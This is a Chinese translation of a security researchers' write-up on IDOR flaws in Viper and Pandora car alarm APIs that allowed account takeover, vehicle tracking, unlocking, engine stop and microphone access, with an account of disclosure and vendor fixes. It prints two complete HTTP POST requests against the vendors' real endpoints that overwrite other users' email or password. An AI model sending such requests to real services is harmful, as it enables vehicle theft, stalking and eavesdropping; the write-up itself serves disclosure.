如何利用汽车警报器去攻击300多万辆汽车
对于无钥匙启动的汽车来说,中继攻击是很重要的攻击点。为此,许多第三方汽车警报器厂商都有自己独特的产品来解决这一系列问题。
但近期,我们已经证明,安装这些第三方警报器只会让车辆变得更不安全!黑客可利用这些警报器劫持汽车,让引擎在正在驾驶时停止,甚至直接偷走车辆。
在我们团队购买并在汽车上安装了几个“高端智能”警报器后(花费5000美元),我们发现在两个最火爆的警报产品存在严重的安全漏洞,这些漏洞可导致黑客以下攻击:
- 汽车的实时地理位置
- 车型和车主的详细信息
- 警报禁用
- 解锁汽车
- 启用和禁用防盗装置
- 在某些情况下,停止汽车引擎
- 控制汽车上的麦克风
- 利用警报系统偷车
最关键的是,以上这些影响了全球300多万辆汽车。
开端
前不久,一家汽车报警器供应商Pandora宣称自己的产品的安全性“不可动摇”。这个声明对于安全研究人员来说,就像是一头公牛前面不停舞动的红布。于是,我们就开始对警报器产品的研究。
目标是行业内的两个代表:Viper(英国品牌)和Pandora。
令人惊讶的是,我们一开始就在API中发现了不安全直接对象引用(IDOR),这是一种较低级的漏洞。
只需篡改某个参数,即可在未经身份验证的情况下更新用户注册的电子邮件地址,然后通过密码重置功能直接接管帐户。
另外,攻击者还可以对特定车辆进行定位和跟踪,使其停住并解锁车门。这对汽车和司机的安全来说都是大威胁。
注意,以上漏洞都是我们在安装警报器前就发现的,现在,我们将把这些产品安装在汽车上进行实地测试。
演示视频:https://v.youku.com/v_show/id_XNDA5MzUxOTY2MA==.html
Viper智能警报器
物联网厂商CalAmp为Viper的这款产品提供后端支持。
这个产品的漏洞是在“修改用户信息”处存在IDOR(不安全的对象引用)。虽然其他API都会验证权限,但对/users/Update/xxxxx
这个敏感请求并没有权限验证。
因此,黑客可以发出恶意请求更改任意用户的密码,非法登录受害者帐号。
示例如下:
POST /users/Update/861772 HTTP/1.1
Host: colt.calamp-ts.com
Connection: close
Content-Length: 342
Accept: application/json, text/ja vasc ript, */*; q=0.01
Origin: https://colt.calamp-ts.com
X-Requested-With: xm lHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: https://colt.calamp-ts.com/dashboard/home
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: __utma=36020146.382676338.1549803856.1549803856.1549803856.1; __utmc=36020146; __utmz=36020146.1549803856.1.1.utmcsr=medium.com|utmccn=(referral)|utmcmd=referral|utmcct=/@evstykas/remote-smart-car-hacking-with-just-a-phone-2fe7ca682162; kohanasession=flrd2pb6lcqohnu3ld79p9oif7; __utmt=1; __utmb=36020146.8.10.1549803856
FirstName=f&LastName=l&Email=egw2%40mailinator.com&Phone=123+132-1321&UserName=egw2%40mailinator.com&Password=!Password1&Language=English&Measurement=Imperial&Timezone=Etc%2FGMT%2B8&Pincode=0&Question=What%2Btown%2Bwere%2Byou%2Bborn%2Bin%253F&Answer=no&MsgFlag=0&DaylightSavings=0&CustomAttributes=%5B%5D&SessionId=flrd2pb6lcqohnu3ld79p9oif7
以下是脚本运行截图:
Pandora漏洞
该漏洞也是IDOR,涉及一个POST请求https://pro.p-on.ru/api/sputnik/workers?id=xxxx
,在参数email
上。
POST /api/sputnik/workers?id=xxxxx HTTP/1.1
Host: pro.p-on.ru
Connection: close
Content-Length: 167
Accept: application/json, text/ja vasc ript, */*; q=0.01
Origin: https://pro.p-on.ru
X-Requested-With: xm lHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Type: application/json
Referer: https://pro.p-on.ru/workers/185000
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: lang=en; sid=4020f4ba21edb3082902e227937995d6
{"id":xxxxx,"name_f":"name","name_i":"name_i","name_o":"name_o","groups":[],"email":"newemail","type":"user","company_perms":0}
因此,只要用黑客控制的电子邮件覆盖现有的电子邮件地址就可重置密码。重置密码后,登录应用程序即可使用功能。此类攻击还可针对管理员用户,一次访问多个车辆。另外,我们在网上也发现有大量相关数据泄漏。只需用户ID替换进'xxxxx'即可批量攻击:https://pro.p-on.ru/workers/xxxxx
。
以上所述攻击任何人都可以发动。而且,无需购买这两种产品你也可以在相关系统创建帐户。这两家厂商都允许他人创建测试/模拟帐户。使用模拟账户,你也可以攻击他人账户。
演示
现在,我们试试攻击一台昂贵的路虎揽胜:
让我们定位它。
OK,它就在我们前面。
关闭警报器和闪光灯。
假设司机现在还不明白咋回事,于是下车查看。但是,由于我们设置了防盗装置,所以无法开走。而且我们已经取消了受害者的访问权限,因此他们无法重置防盗锁。
我们还克隆了警报器的钥匙,这样就可以用手机解锁汽车了。
现在我们就可以“正常”的开走汽车了。
停止汽车引擎
我们还可以停止安装了Viper的汽车的引擎。Pandora貌似也可以,但由于汽车型号问题,没有复现成功。
这个停止引擎功能原本是用于截停被盗车辆。但被黑客利用后,就有可能产生严重后果。
该功能在Viper应用的UI中不存在,但可以通过API使用。这个确实很吓人。
非法收集汽车内音频
Pandora警报器能够用来进行SOS呼叫,所以有麦克风。
但是,由于上述提及的API的授权漏洞,攻击者可远程访问和启用麦克风。
数以百万计的司机都会被黑客窃听谈话。
CAN总线控制!
CAN 是Controller Area Network 的缩写(以下称为CAN),是ISO国际标准化的串行通信协议。——百度
Viper和Pandora都能够发送自定义的CAN信息。事情变得有些可怕......
近年来,汽车报警器能够直接与CAN总线连接。基于现代车辆的复杂程度,这有助于减少报警器布线和安装所需的时间。
高端警报器可以自动检测车辆类型,自定义使用的CAN信息命令集,大大加快安装速度。
但是,当警报未正确识别车辆时,安装人员就需要手动编程安装。
据我们所知,报警器相关的编程必须使用笔记本电脑上的应用在本地完成,或者开启蓝牙的收集。虽然似乎可以通过API进行无线编程,但我们还没研究出结果。
更可怕的事
在分析了固件,技术手册和相关的更新日志后,我们发现了一些可怕的功能。但只能用于特定车辆,所以我们暂时无法测试。
如果你的车辆安装了Pandora警报器,而且汽车品牌是马自达6,揽胜运动,起亚Quoris,丰田Fortuner,三菱帕杰罗,丰田普锐斯50和RAV4中的一个,那么请注意,黑客有可能能远程控制汽车的巡航速度!这在API说明中并没有展示!
此外,黑客还可以发送虚假信息,模拟汽车的制动和启动。
信息泄露
我们联系了相关厂商,并要求他们7天内删除或修复这些API。这远远低于我们通常和厂说的90天。为什么?
因为这些漏洞很容易找到,且易于修复,某些API并不是必须的。用户体验可能会受到影响,但并不会完全无法使用产品。
对于已安装了这些警报的车主来说,建议断开警报器的网络连接,等待漏洞完全修复。
Pandora英国方面在大约48小时内了作出回应,他们位于莫斯科的总部迅速修复了漏洞,也得到了我们的确认。
Viper响应速度更快,但他们需要更长的时间来修复漏洞。现在已修复完成。
需要说明的是,我们没有对所有的API进行所有测试;因为我们需要进一步的授权。我们不知道API中是否还有其他漏洞。
当然,两家产商的回应实都很不错。他们立刻承认漏洞,响应,并采取行动修复漏洞。这是其他厂商的表率!
结论
我们以前发现过很多在物联网API的IDOR漏洞。但这种巨大规模的漏洞还是第一次发现。
旨在使我们的车辆更安全的警报器制造商在将产品推向市场之前一定要进行完善的安全研究。
这些警报器价格昂贵,通常适用于高端车辆,以及无钥匙启动的车辆。 保守估计表明,其中涉及价值1500亿美元的车辆。
这些警报器没有添加任何额外的安全措施来防止密钥中继攻击,在漏洞修复之前,它们实际上让300万辆汽车更不安全。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://www.pentestpartners.com/security-blog/gone-in-six-seconds-exploiting-car-alarms/
最新评论